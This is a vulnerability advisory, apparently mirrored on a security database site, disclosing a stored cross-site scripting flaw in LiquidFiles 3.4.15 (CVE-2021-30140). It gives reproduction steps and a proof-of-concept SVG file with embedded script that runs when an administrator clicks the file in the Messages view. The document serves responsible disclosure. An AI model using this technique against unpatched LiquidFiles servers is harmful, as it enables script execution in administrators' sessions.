Lucene search
K

LiquidFiles 3.4.15 Cross Site Scripting

🗓️ 19 May 2022 00:00:00Reported by Rodolfo Tavares, tempest.com.brType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 245 Views

LiquidFiles 3.4.15 XSS Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
0day.today
LiquidFiles 3.4.15 Cross Site Scripting Vulnerability
21 May 202200:00
zdt
CNNVD
Liquidfiles 跨站脚本漏洞
6 Apr 202100:00
cnnvd
CVE
CVE-2021-30140
6 Apr 202115:46
cve
Cvelist
CVE-2021-30140
6 Apr 202115:46
cvelist
EUVD
EUVD-2021-17077
7 Oct 202500:30
euvd
NVD
CVE-2021-30140
6 Apr 202116:15
nvd
OSV
CVE-2021-30140
6 Apr 202116:15
osv
Prion
Cross site scripting
6 Apr 202116:15
prion
Positive Technologies
PT-2021-18627 · Unknown · Liquidfiles
6 Apr 202100:00
ptsecurity
RedhatCVE
CVE-2021-30140
22 May 202519:38
redhatcve
Rows per page
`=====[ Tempest Security Intelligence - ADV-12/2021  
]==========================  
  
LiquidFiles - 3.4.15  
  
Author: Rodolfo Tavares  
  
Tempest Security Intelligence - Recife, Pernambuco - Brazil  
  
=====[ Table of Contents]==================================================  
* Overview  
* Detailed description  
* Timeline of disclosure  
* Thanks & Acknowledgements  
* References  
  
=====[ Vulnerability  
Information]=============================================  
* Class: Improper Neutralization of Input During Web Page Generation  
('Cross-site Scripting') [CWE-79]  
  
* CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N  
  
=====[ Overview]========================================================  
* System affected : LiquidFiles  
* Software Version : Version - 3.4.15  
* Impacts :  
* XSS: LiquidFiles 3.4.15 has stored XSS through the "send email"  
functionality when sending a file via email to an administrator. When a  
file has no extension and contains malicious HTML / JavaScript content  
(such as SVG with HTML content), the payload is executed upon a click. This  
is fixed in 3.5.  
  
  
  
=====[ Detailed  
description]=================================================  
  
* Stored XSS at [http://localhost:8080/message/new]:  
  
* Steps to reproduce  
  
1 - Create a file without extension, with the content below inside  
```  
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "  
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">  
  
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
<polygon id="triangle" points="0,0 0,100 100,0" fill="#0000FF"  
stroke="#0000FF"/>  
<script type="text/javascript">  
alert(1);  
</script>  
</svg>  
```  
2 - With an external user send an email with that file (without any  
extension) to admin or someone.  
  
3 - With the admin account go to the menu click on "Data", inside the  
"Data" menu click at "Messages", and select the message that you sent at  
step 2. At the table click on the filename row over your file, the  
javascript code will be executed.  
  
=====[ Timeline of  
disclosure]===============================================  
  
11/Jan/2021 - Responsible disclosure was initiated with the vendor.  
12/Jan/2021 - LiquidFiles Support confirmed the issue;  
18/Fev/2021 - The vendor fixed the vulnerability the second stored XSS's  
06/Apr/2021 - CVEs was assigned and reserved as CVE-2021-30140  
  
=====[ Thanks & Acknowledgements]========================================  
* Tempest Security Intelligence [5]  
  
=====[ References ]=====================================================  
  
[1][ [  
https://cwe.mitre.org/data/definitions/79.html]|https://cwe.mitre.org/data/definitions/79.html  
]]  
[2][ [https://gist.github.com/rodnt/9f7d368fac38cafa7334598ec94fb167]]  
[3][ [https://www.tempest.com.br|  
https://www.tempest.com.br/]|https://www.tempest.com.br/]  
  
=====[ EOF ]===========================================================  
--  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 May 2022 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 23.5
CVSS 3.15.4
EPSS0.0125
245